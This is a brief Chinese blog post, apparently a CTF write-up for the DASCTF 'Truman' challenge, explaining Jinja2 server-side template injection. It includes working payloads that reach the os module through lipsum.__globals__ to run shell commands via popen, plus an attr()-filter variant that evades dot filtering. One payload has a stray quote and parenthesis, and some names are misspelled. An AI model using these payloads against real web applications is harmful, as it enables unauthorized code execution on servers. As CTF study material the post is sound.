ssti学习
DASCTF八月挑战赛-Truman
jinja2与twig在处理数字与字符相乘时的不同,在jinja2中{{7*'7'}}
会重复字符串,而在twig中无法使用{{7*'7'}}
来进行字符串的重复
在本题测试框输入49可以发现输出了7个7,说明是jinja2模板
关于jinja2的一些payload构造知识:
lipusum:flask的一个方法,在其下的lipsum.__gloabals__
含有os模块
popen函数:调用fork()产生子进程,并执行shell运行命令
{{lipsum.__globals__['os'].popen('ls').read()}}
这样一个注入调用os模块,执行了ls命令并read读取
attr绕过点号:jinja2的attr()获取对象的属性,用attr绕过点号的语法例:
1 | {{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('ls')|attr('read')()')}} |
其中getitem是通过索引获取对象的方法,相当于[],
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 muruoze1的小窝!